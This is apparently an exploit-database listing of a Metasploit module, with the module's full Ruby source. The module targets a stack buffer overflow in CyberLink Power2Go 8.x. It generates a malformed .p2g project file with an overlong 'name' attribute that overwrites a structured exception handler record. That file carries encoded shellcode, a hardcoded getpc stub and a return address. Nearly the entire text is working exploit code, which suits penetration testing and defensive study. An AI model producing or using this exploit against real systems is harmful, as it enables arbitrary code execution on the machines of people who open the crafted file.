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CyberLink Power2Go Stack Buffer Overflow

CyberLink Power2Go Stack Buffer Overflow
Posted Apr 18, 2012
Authored by mr_me, modpr0be | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in CyberLink Power2Go version 8.x. The vulnerability is triggered when opening a malformed p2g file containing an overly long string in the 'name' attribute of the file element. This results in overwriting a structured exception handler record.

tags | exploit, overflow
advisories | OSVDB-70600
MD5 | 6f60db215db0d38c85d08e9138043d6c

CyberLink Power2Go Stack Buffer Overflow

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'CyberLink Power2Go name Attribute (p2g) Stack Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
The vulnerability is triggered when opening a malformed p2g file containing an overly
long string in the 'name' attribute of the file element. This results in overwriting a
structured exception handler record.
},
'License' => MSF_LICENSE,
'Author' =>
[
'modpr0be <modpr0be[at]spentera.com>', # initial discovery
'mr_me <steventhomasseeley[at]gmail.com>' # msf module
],
'References' =>
[
['BID', '50997'],
['OSVDB', '77600'],
['EDB', '18220'],
['US-CERT-VU', '158003']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00"
},
'Platform' => 'win',
'Targets' =>
[
# Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
[ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
],
'DisclosureDate' => 'Sep 12 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])
], self.class)
end

def get_payload(hunter)

[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
if name =~/alpha/
#insert getpc_stub & align EDX, unicode encoder friendly.
#Hardcoded stub is not an issue here because it gets encoded anyway
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
hunter = getpc_stub + hunter
end
}

return hunter
end

def exploit

title = rand_text_alpha(10)
buffer = ""
buffer << rand_text_alpha(778)
buffer << "\x58\x28" # nseh
buffer << target['Ret'] # seh
buffer << "\x5f\x73" * 15 # pop edi/add [ebx],dh (after byte alignment)
buffer << "\x58\x73" # pop eax/add [ebx],dh (after byte alignment)
buffer << "\x40\x73" * 3 # inc eax/add [ebx],dh (after byte alignment)
buffer << "\x40" # inc eax
buffer << "\x73\x42" * 337 # add [ebx],dh/pop edx (after byte alignment)
buffer << "\x73" # add [ebx],dh (after byte alignment)
buffer << get_payload(payload.encoded)

p2g_data = <<-EOS
<Project magic="#{title}" version="101">
<Information />
<Compilation>
<DataDisc>
<File name="#{buffer}" />
</DataDisc>
</Compilation>
</Project>
EOS

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(p2g_data)
end
end
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